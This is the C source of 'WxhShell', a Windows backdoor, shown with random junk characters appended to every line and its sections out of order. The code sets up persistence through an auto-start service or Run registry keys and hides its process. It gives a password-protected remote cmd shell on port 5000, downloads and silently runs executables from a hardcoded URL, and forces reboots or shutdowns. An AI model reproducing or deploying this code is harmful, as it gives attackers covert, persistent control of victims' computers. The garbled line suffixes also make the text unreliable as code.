    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); KP -g<Zc  
    if(Boot(SHUTDOWN)) d]$z&E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |:L<Ko  
    else { _:?)2NV  
    closesocket(wsh); ]aXCi"fMs  
    ExitThread(0); 8'@pX<  
    } W2qW`Ujo{  
    break; -U'6fx) +  
    } 3[pA:Z+xx  
  // 获取shell 2BsMFMIw1  
  case 's': { I[WW1P5  
    CmdShell(wsh); p p9Gzn C  
    closesocket(wsh); /{\tkvv-Z  
    ExitThread(0); >A7),6  
    break; a>(LFpVk}  
  } }<9*eAn`  
  // 退出 t8E'd :pE  
  case 'x': { 6 80i?=z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `6?r.;wj  
    CloseIt(wsh); >-c;  
    break; v|<Dc8i+  
    } =YE"6iU  
  // 离开 1 nIb/nY  
  case 'q': { BO5F6lyQ0P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =YR/X@&  
    closesocket(wsh); $ThkK3  
    WSACleanup(); LK)0g4{  
    exit(1); /E@LnKe  
    break; #3f\,4K5  
        } \\Fl,'  
  } r8pTtf#Q  
  } ?9i 7w1`  
XTXRC$B  
  // 提示信息 RYZh"1S;k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?r"m*fY%  
} F'|D  
  } 1b-4wonQd  
%AF~Ki  
  return; &JVe -.  
} C(Yk-7  
APsd^J  
// shell模块句柄 r2]:'O6  
int CmdShell(SOCKET sock) vbXuT$  
{ #E3Y; b%v  
STARTUPINFO si; aqK<}jy  
ZeroMemory(&si,sizeof(si)); iL\<G} I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  U(dT t  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; = iB0ak  
PROCESS_INFORMATION ProcessInfo; Q>cLGdzO  
char cmdline[]="cmd"; wwF]+w%lOw  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A84I*d  
  return 0; ]HgAI$aA,  
} !rlN|HB  
vClD)Ar  
// 自身启动模式 / ~'ZtxA  
int StartFromService(void) _Y40a+hk]  
{ Ia*eb%HG  
typedef struct 6! \a8q'z  
{ _S7GkpoK  
  DWORD ExitStatus; t \kI( G  
  DWORD PebBaseAddress; U{"&Jj  
  DWORD AffinityMask; n9B1NM5 \  
  DWORD BasePriority; EGf9pcUEO&  
  ULONG UniqueProcessId; rQC{"hS1  
  ULONG InheritedFromUniqueProcessId; 3b (I~  
}   PROCESS_BASIC_INFORMATION; qY]IX9'kV  
4Cr |]o'  
PROCNTQSIP NtQueryInformationProcess; 3 (Kj|u  
1C6H\;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; we9R4 *j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #qi@I;;t  
m2AA:u_*j  
  HANDLE             hProcess; 8p  }E  
  PROCESS_BASIC_INFORMATION pbi; i:0~%X  
bEfxu;Su 3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); UxzZr%>s  
  if(NULL == hInst ) return 0; oIdMDp^$  
J GnL[9P_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n a])bBn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); IKb 7#Ut  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lwIU|T<4  
6 :K~w<mMJ  
  if (!NtQueryInformationProcess) return 0; I9h?Z&n5  
3rhH0{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V7.xKmB  
  if(!hProcess) return 0; u*  G|TF  
ev7Y^   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hhLEU_U  
HA&][%^  
  CloseHandle(hProcess); 'oBT*aL  
P^#<h"Ht  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a$.(Zl  
if(hProcess==NULL) return 0; f' Dl*d  
v?F~fRH  
HMODULE hMod; 6H\3  
char procName[255]; id8a#&t]  
unsigned long cbNeeded; nyD(G=Q5  
BY.' 0,H=k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #lRkp.e  
)=V0  
  CloseHandle(hProcess); %,Xs[[?i  
N%'=el4L  
if(strstr(procName,"services")) return 1; // 以服务启动 *aT3L#0(  
'z0@|a  
  return 0; // 注册表启动 LRW7_XYz  
} (?Fz{  
6":=p:PT.  
// 主模块 r'wam]1Z  
int StartWxhshell(LPSTR lpCmdLine) ]fg?)z-Z  
{ [H$rdh[+  
  SOCKET wsl; BFc=GiPnQ  
BOOL val=TRUE; # kl?ww U  
  int port=0; 'kPc`) \  
  struct sockaddr_in door; {]]qd!,  
\^or l9  
  if(wscfg.ws_autoins) Install(); DfgqB3U[  
^5x\cR  
port=atoi(lpCmdLine); A6YkoYgC  
q|0Lu  
if(port<=0) port=wscfg.ws_port; 2uu"0Rm%  
%:yJ/&-Q,Z  
  WSADATA data; (Vnv"= (  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :KGUO{_u  
V6)\;c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   avrf]raM|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); */fmy|#   
  door.sin_family = AF_INET; O$ui:<]dS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Dp4\rps  
  door.sin_port = htons(port); %GQPiWu  
nm2bBX,fh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?a+>%uWt  
closesocket(wsl); UM%]A'h2O"  
return 1; l?LwQmq6  
} oY{L0B[  
*}DCxv  
  if(listen(wsl,2) == INVALID_SOCKET) { &[ejxK"  
closesocket(wsl); 2'UWPZgE  
return 1; Rqu_[M  
} ('QfB<4H1  
  Wxhshell(wsl); i;>Yx#  
  WSACleanup(); 8`l bKV  
:1NF#-2\f  
return 0; Y4 q;  
~'k.'O{  
} musZCg$  
'|V"!R)  
// 以NT服务方式启动 ,\ [R\s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) YMx]i,u'+  
{ f-&4x_5  
DWORD   status = 0; Q]wM WV  
  DWORD   specificError = 0xfffffff; &6V[@gmD  
<XG&f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E0]B=-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y3^UJe7E  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p(o"K@I  
  serviceStatus.dwWin32ExitCode     = 0; 2>3#/I9Y  
  serviceStatus.dwServiceSpecificExitCode = 0; Wv!#B$J~U  
  serviceStatus.dwCheckPoint       = 0; q9 !)YP+w  
  serviceStatus.dwWaitHint       = 0; <=2\xJfxB  
~Ry?}5&:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FY1 >{Bn  
  if (hServiceStatusHandle==0) return; 9cQZ`Ex  
;zk& 7P0  
status = GetLastError(); =E?kxf[X  
  if (status!=NO_ERROR) ~~,] b  
{ (U bz@s^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M,nX@8 _h  
    serviceStatus.dwCheckPoint       = 0; X}x"+ #\<@  
    serviceStatus.dwWaitHint       = 0; ObJgJr  
    serviceStatus.dwWin32ExitCode     = status; %<c2jvn+k  
    serviceStatus.dwServiceSpecificExitCode = specificError; m X2i^.zH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 03Czx`  
    return; 3fA.DK[4[  
  } ,`kag~bZ  
=Ts2a"n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8[@aX;I  
  serviceStatus.dwCheckPoint       = 0; t+7|/GLs2  
  serviceStatus.dwWaitHint       = 0; IL*Ghq{/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .=@xTJh  
} |hHj7X <?k  
IqEE.XhaK  
// 处理NT服务事件,比如:启动、停止 ;nS.t_UW.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x~3N})T5  
{ ;\1/4;m  
switch(fdwControl) hc#Lni R3$  
{ o3C7JG  
case SERVICE_CONTROL_STOP: %%d3M->C}  
  serviceStatus.dwWin32ExitCode = 0; C{Y0}ZrmlF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 39Nz>Nu:  
  serviceStatus.dwCheckPoint   = 0; U~h f,Oxi  
  serviceStatus.dwWaitHint     = 0; ppL*#/jYt  
  { r2dU>U*:4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [\|`C4@3a  
  } \M$e#^g  
  return; =zaf{0c  
case SERVICE_CONTROL_PAUSE: rBY)rUDd4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; MPaF  
  break; `p qj~s  
case SERVICE_CONTROL_CONTINUE: Gs`[\<;LI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ",&^ f  
  break; d'p]F~a  
case SERVICE_CONTROL_INTERROGATE: \.!+'2!m  
  break; e3T&KyPm?+  
}; 5D9n>K4|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yE+Wb[H[  
} l 1C'<+2j!  
4G ? Cu,$  
// 标准应用程序主函数 jTSN`R9@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (tG8HwV-  
{ ~bC-0^/ 8|  
LsW7JIQd  
// 获取操作系统版本 M{(g"ha  
OsIsNt=GetOsVer(); HRP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^~dBO %M^  
UQ[!k 6  
  // 从命令行安装 hD)'bd  
  if(strpbrk(lpCmdLine,"iI")) Install(); `LroH>_  
/sU~cn^D5  
  // 下载执行文件 R_JB`HFy=  
if(wscfg.ws_downexe) { VK)vb.:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _mBFmXHHS$  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z+8Q{|Ev  
} kJP` C\4}f  
E}qW'  
if(!OsIsNt) { d1[;~)  
// 如果时win9x,隐藏进程并且设置为注册表启动 3rdrNc  
HideProc(); C0O$iWs=  
StartWxhshell(lpCmdLine); )s-[d_g  
} %?sPKOh3N}  
else 'sII/sq`(  
  if(StartFromService()) :}B=Bk/q  
  // 以服务方式启动 +mu.W r  
  StartServiceCtrlDispatcher(DispatchTable); |XGj97#M  
else S1vUP5cZ  
  // 普通方式启动 -e2f8PV?3  
  StartWxhshell(lpCmdLine); L <QjkFj  
e9\eh? bPU  
return 0; l.>3gjr  
} A r=P;6J  
ZBY*C;[)*P  
dp|VQWCq  
jV 'u*2&9  
=========================================== V7S[rI<<r  
jx=5E6(h  
xU6rZ CqE  
w %2|Po5  
.`ZuUr  
l b9O  
" c'!+]'Lr  
Vb57B.I  
#include <stdio.h> XI5TVxo(q  
#include <string.h> \Bvy~UeE)>  
#include <windows.h> /z)H7s+  
#include <winsock2.h> r9 5hW  
#include <winsvc.h> U,g)N[|  
#include <urlmon.h> |a|##/  
S Bo i|  
#pragma comment (lib, "Ws2_32.lib") 0F5QAR O  
#pragma comment (lib, "urlmon.lib") ,5XDH6L1  
H~1o^ gU  
#define MAX_USER   100 // 最大客户端连接数 &Hj1jM'  
#define BUF_SOCK   200 // sock buffer oF(=@UL  
#define KEY_BUFF   255 // 输入 buffer j6&q6C X  
#TG7WF 5  
#define REBOOT     0   // 重启 L> \/%x>Wx  
#define SHUTDOWN   1   // 关机 kJ_XG;8  
'Szk!,_  
#define DEF_PORT   5000 // 监听端口 @{ CP18~:  
UCBx?9O/0  
#define REG_LEN     16   // 注册表键长度 $/)0iL{0  
#define SVC_LEN     80   // NT服务名长度 <)]j;Tl  
o4qB0h  
// 从dll定义API .-mlV ^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9Od|R"aS|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qmF+@R&^i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .L=C7w1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =7vbcAJ\  
D,,$  
// wxhshell配置信息 DQy;W  ov  
struct WSCFG { ?l?_8y/ww  
  int ws_port;         // 监听端口 4_KRH1  
  char ws_passstr[REG_LEN]; // 口令 FdE9k\E#/)  
  int ws_autoins;       // 安装标记, 1=yes 0=no G0mvrc-(  
  char ws_regname[REG_LEN]; // 注册表键名 lxh}N,  
  char ws_svcname[REG_LEN]; // 服务名 _|C T|q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 I AFj_VWC0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 j"4]iI+{"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hmES@^n!_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no NGp^/PZX0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }nt,DG!r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /I@`B2  
Y{`hRz`  
}; aSM S uX8  
3;er.SFu{  
// default Wxhshell configuration a IgV"3  
struct WSCFG wscfg={DEF_PORT, WW3! ,ln_  
    "xuhuanlingzhe", o%3VE8-  
    1, j\%m6\{n|  
    "Wxhshell", =|O><O|  
    "Wxhshell", "tUc  
            "WxhShell Service", " o>` Y  
    "Wrsky Windows CmdShell Service", 7 : .bqRu  
    "Please Input Your Password: ", eCy]ugsi%  
  1, Bc1MKE5  
  "http://www.wrsky.com/wxhshell.exe", b l]YPx8  
  "Wxhshell.exe" <;q)V%IUz  
    }; gMB/ ~g5b0  
PESJ7/^E  
// 消息定义模块 G&\!!i|IQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qYbPF|Y=Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <xaB$}R  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,&aD U  
char *msg_ws_ext="\n\rExit."; VCCG_K9'  
char *msg_ws_end="\n\rQuit."; yiAusl;  
char *msg_ws_boot="\n\rReboot..."; Zoyo:vv&  
char *msg_ws_poff="\n\rShutdown..."; jx-8%dxtZ  
char *msg_ws_down="\n\rSave to "; N,?D<NjXl  
dY$jg  
char *msg_ws_err="\n\rErr!"; *rmwTD"  
char *msg_ws_ok="\n\rOK!"; U\`yLsKvH`  
q,fk@GI'2  
char ExeFile[MAX_PATH]; =G-u "QJ6  
int nUser = 0; E|BiK  
HANDLE handles[MAX_USER]; eSA%:Is.  
int OsIsNt; /GU%{nT  
H\RuYCn2G  
SERVICE_STATUS       serviceStatus; F^}n7h=qk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $-R9J6NN  
z! DD'8r>  
// 函数声明  j.vBld  
int Install(void); w*qmC<D$A  
int Uninstall(void); I3D#wXW  
int DownloadFile(char *sURL, SOCKET wsh); S$%Y{  
int Boot(int flag); 5:x .<  
void HideProc(void); [.*o< KP  
int GetOsVer(void); P(XNtQ=K  
int Wxhshell(SOCKET wsl); qkh.? ~  
void TalkWithClient(void *cs);  0ZpWfL  
int CmdShell(SOCKET sock); ^J7g)j3  
int StartFromService(void); VkDFR [k_  
int StartWxhshell(LPSTR lpCmdLine); cwKOE?!  
%{K6   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !e(ZEV g  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #^;^_  
lL6qK&;  
// 数据结构和表定义 `Ef &h V  
SERVICE_TABLE_ENTRY DispatchTable[] = Co^a$K  
{ yi9c+w)b  
{wscfg.ws_svcname, NTServiceMain}, 0CS80 pC  
{NULL, NULL} 26\*x  
}; #$(wfb9  
| QI-gw  
// 自我安装 M"$TXXe  
int Install(void) SsF 5+=A  
{ mca9 +v  
  char svExeFile[MAX_PATH]; gDJ@s    
  HKEY key; .1C|J  
  strcpy(svExeFile,ExeFile); JI}p{ yI  
B(%bBhs  
// 如果是win9x系统,修改注册表设为自启动 QU{\ClW/?  
if(!OsIsNt) { y Yvv;E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %C8fv|@:f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k^PqB+P!  
  RegCloseKey(key); (B zf~#]~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { umWZ]8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W<uL{k.Kpd  
  RegCloseKey(key); 6}6ky9  
  return 0; ]m(5>h#  
    } T\ h_8  
  } v1j]&3O  
} Eh)VU_D  
else { ljrA^P ,>P  
OWK)4[HY(  
// 如果是NT以上系统,安装为系统服务 HG%H@uK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &sx|sLw)  
if (schSCManager!=0) q[3b i!Q  
{ rHtT>UE=  
  SC_HANDLE schService = CreateService _u:4y4}  
  ( rS 4'@a  
  schSCManager, wzMWuA4vX  
  wscfg.ws_svcname, VrokEK*qbY  
  wscfg.ws_svcdisp, Eu )7@  
  SERVICE_ALL_ACCESS, 1LjYV  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <>JDA(F"  
  SERVICE_AUTO_START, 'Sc3~lm(dH  
  SERVICE_ERROR_NORMAL, ~5wCehSb  
  svExeFile, j$]t`6gG  
  NULL, Ac.z6]p  
  NULL, 9_ Qm_  
  NULL, Hf %;FaJ=  
  NULL, Z3R..vy8  
  NULL A?;/]m;  
  ); *k'9 %'<  
  if (schService!=0) 3@}HdLmN|  
  { 't{=n[  
  CloseServiceHandle(schService); AX1'.   
  CloseServiceHandle(schSCManager); ;8g#"p*&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Vb 4Qt#o  
  strcat(svExeFile,wscfg.ws_svcname); ]'_z (s}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L#u6_`XJ+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RkLH}`#  
  RegCloseKey(key); XR\ iQ  
  return 0; hBE}?J>  
    } <UQ:1W8>B  
  } }M|  
  CloseServiceHandle(schSCManager); ;lAz@jr+  
} u3,b,p  
} {djOU 9]  
 df 1* [  
return 1; u(ZS sftat  
} 1"odkM  
BJj~fNm1Zr  
// 自我卸载 3 XfXMVm  
int Uninstall(void) }C#YR( ]  
{ 6w}:w?=6  
  HKEY key; MO#%w  
o-O/MS   
if(!OsIsNt) { XtfL{Fy|T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u'K<-U8H  
  RegDeleteValue(key,wscfg.ws_regname); >/bl r}5 H  
  RegCloseKey(key); lGLZIp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RFK N,oB  
  RegDeleteValue(key,wscfg.ws_regname); \\)-[4uC  
  RegCloseKey(key); /2HwK/RZ  
  return 0; %k$C   
  } dIO\ lL   
} }UGPEf\  
} J*U(f{Q(  
else {  74Q?%X  
g>im2AD+e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^1cqx]>E  
if (schSCManager!=0) Y5MHd>m  
{ m'qMcCE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^m1Rw|  
  if (schService!=0) .X2mEnh  
  { NM8 F  
  if(DeleteService(schService)!=0) { 2CxdNj  
  CloseServiceHandle(schService); ?|hzAF"U  
  CloseServiceHandle(schSCManager); e#'`I^8l  
  return 0; KFV]2mFN  
  } wqGZkFg1  
  CloseServiceHandle(schService); 2tr2:PB`  
  } pb{P[-f  
  CloseServiceHandle(schSCManager); 5e2m EQU>  
} [ objdQU`  
} ^5T{x>Lj  
e2*^;&|%  
return 1; C6P6hJm  
} [U jbox  
|\_O8=B%  
// 从指定url下载文件 7>ODaj   
int DownloadFile(char *sURL, SOCKET wsh) ;c>Yr ?^  
{ kcYR:;y  
  HRESULT hr; M}5C;E*  
char seps[]= "/"; gN]`$==c[  
char *token; 7k$8i9#  
char *file; }dXL= ul  
char myURL[MAX_PATH]; v%FVz  
char myFILE[MAX_PATH]; lpp'.HTP  
,DE%p +q  
strcpy(myURL,sURL); -%N (X8  
  token=strtok(myURL,seps); tRv#%>fj  
  while(token!=NULL) XW#4C*5?d  
  { Lw#h nLI.  
    file=token; J`mp8?;%  
  token=strtok(NULL,seps); .Nf*Yqs0  
  } +'Ge?(E4_  
<K0lS;@K  
GetCurrentDirectory(MAX_PATH,myFILE); k{b ba=<  
strcat(myFILE, "\\"); +.R-a+y3  
strcat(myFILE, file); ^Ue.9#9T&g  
  send(wsh,myFILE,strlen(myFILE),0); 'Aqmf+Mm  
send(wsh,"...",3,0); Yj"UD:p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X! ]~]%K$y  
  if(hr==S_OK) wk/->Rz  
return 0; ry< P LRN  
else eP2 yU  
return 1; vB Jva8;Q  
16+@#d%#p  
} K7l{&2>?  
VC+\RB#:-  
// 系统电源模块 <^~F~]wnH  
int Boot(int flag) YG8oy!Zl  
{ g/@CESfm'  
  HANDLE hToken; 67g/(4&  
  TOKEN_PRIVILEGES tkp; qQ_B[?+W  
i Bi/9  
  if(OsIsNt) { L9kP8&&KK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )} #r"!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]d[q:N]z  
    tkp.PrivilegeCount = 1; +|?c_vD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |s^ar8)=)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vLke,MKW  
if(flag==REBOOT) { fU}w81oe  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i!HGM=f  
  return 0; Lf-8G5G  
} #SXXYh-e  
else { B%pvk.`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xn@jL;+<-  
  return 0; Qh[t##I/  
} H xlw1(zS  
  } 1,QRfckks  
  else { Xm4wuX"e=  
if(flag==REBOOT) { Mm;)O'XDE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S&Sf}uK  
  return 0; zXD@M{  
} 4[ra  
else { S'O0'5U@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JU@$(  
  return 0; + ND9###  
} .3&m:P8zV  
} ;H=6u  
2ya`2 m  
return 1; *O5+?J Z!  
} Q.\>+4]1&&  
QD<4(@c5|  
// win9x进程隐藏模块 ayD\b6Z2.  
void HideProc(void) [GuDMl3hC  
{ \f  LBw0  
C;5}/J^E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1fy{@j(W  
  if ( hKernel != NULL ) =FbfV*K 9  
  { E;4a(o]{t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); RFC;1+Jn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fz&}N`n  
    FreeLibrary(hKernel); ;x#>J +QlG  
  } A-io-P7qyj  
NIfc/%  
return; #dft-23  
} JK(&E{80  
$VA4% 9  
// 获取操作系统版本 6S<$7=$ =  
int GetOsVer(void) 6bGD8 ;  
{ Kv]6 b2HT  
  OSVERSIONINFO winfo; +XE21hb   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6!nb)auVi  
  GetVersionEx(&winfo); <@A^C$g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "!tB";n  
  return 1; Mb>XM7}PU  
  else +7^Ul6BB#K  
  return 0; .{ -yveE  
}  M9K).P=  
~30Wb9eL  
// 客户端句柄模块 WFd2_oAT  
int Wxhshell(SOCKET wsl) I/aAx.q  
{ h 3&:"*A2  
  SOCKET wsh; )rj mJ  
  struct sockaddr_in client; [}2.CM  
  DWORD myID; N::;J  
>{S$0D  
  while(nUser<MAX_USER) =oME~oB~  
{ S;'eoqN8  
  int nSize=sizeof(client); c)8wO=!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ic K=E ]p  
  if(wsh==INVALID_SOCKET) return 1; LXLDu2/@  
2YKM9Ks  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); SDIeq  
if(handles[nUser]==0) fF("c6:w(  
  closesocket(wsh); j,xPN=+hT  
else }gW/heUE  
  nUser++; w8 $Qh%J'<  
  } 6iG<"{/U5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ib_Gy77Os  
X6,9D[Nw  
  return 0;  >Gu0&  
} ~ ""MeaM8[  
s%oAsQ_y  
// 关闭 socket #P#R~b]  
void CloseIt(SOCKET wsh) [bG>qe1}&  
{ $O'2oeM  
closesocket(wsh); *fSM'q;  
nUser--; %j">&U.[  
ExitThread(0); p2vBj.*J  
} jtv Q<4  
ogqV]36Idh  
// 客户端请求句柄 wsrx|n[]  
void TalkWithClient(void *cs) V|\A?   
{ $>=Nb~t!/  
0 '7s  
  SOCKET wsh=(SOCKET)cs; wW8 6rB  
  char pwd[SVC_LEN]; rfRo*u2"  
  char cmd[KEY_BUFF]; N[bN"'U/1  
char chr[1]; eC?/l*gF 3  
int i,j; &ZN'Ey?  
0:'jU  
  while (nUser < MAX_USER) { >iH).:j  
zm+4Rl(  
if(wscfg.ws_passstr) { ]B3FTqR{i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vvAk<[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NP`s[  
  //ZeroMemory(pwd,KEY_BUFF); 15 o.j!S  
      i=0; _c8.muQ<  
  while(i<SVC_LEN) { 93IOG{OAY  
4AOS}@~W  
  // 设置超时 U;{,lS2l  
  fd_set FdRead; C;q}3c*L  
  struct timeval TimeOut; W8$=a  
  FD_ZERO(&FdRead); i?>> 9f@F  
  FD_SET(wsh,&FdRead); CQ.4,S}6'  
  TimeOut.tv_sec=8; Y-q@~v Z]  
  TimeOut.tv_usec=0; 5 ?~-Vv31s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "42$AaS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o U}t'WU  
1qj%a%R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >zg8xA1zL  
  pwd=chr[0]; &]6K]sWJK{  
  if(chr[0]==0xd || chr[0]==0xa) { Kn#xY3W6  
  pwd=0; CS5jJi"pD3  
  break; :Q ?J}N  
  } LnTe_Q7_  
  i++; 90iW-"l+[  
    } l~4e2xoT  
/;nO<X:XV  
  // 如果是非法用户,关闭 socket {0vbC/?]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EO/cW<uV'  
} RO$ @>vL  
( ssH=a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1gShV ]2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o\ow{ gh9  
y'!p>/%v  
while(1) { Ot$cmBhw!  
r(1pvcWY-  
  ZeroMemory(cmd,KEY_BUFF);  df4^C->:  
>9tkx/J  
      // 自动支持客户端 telnet标准   >\7RIy3  
  j=0; &lh_-@Xz  
  while(j<KEY_BUFF) { |:=b9kv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2x`xyR_Q.R  
  cmd[j]=chr[0]; -{8Q= N  
  if(chr[0]==0xa || chr[0]==0xd) { im \ YL<  
  cmd[j]=0; a&s"# j  
  break; QE#-A@c  
  } ( X 'FQ  
  j++; B`Or#G3ph  
    } 1s} ``1>  
;8L+_YCa  
  // 下载文件 bOxjm`B<  
  if(strstr(cmd,"http://")) { W_BAb+$aF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ( #-=y~%  
  if(DownloadFile(cmd,wsh)) /[|}rqX(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); GATP  
  else )| Vg/S  
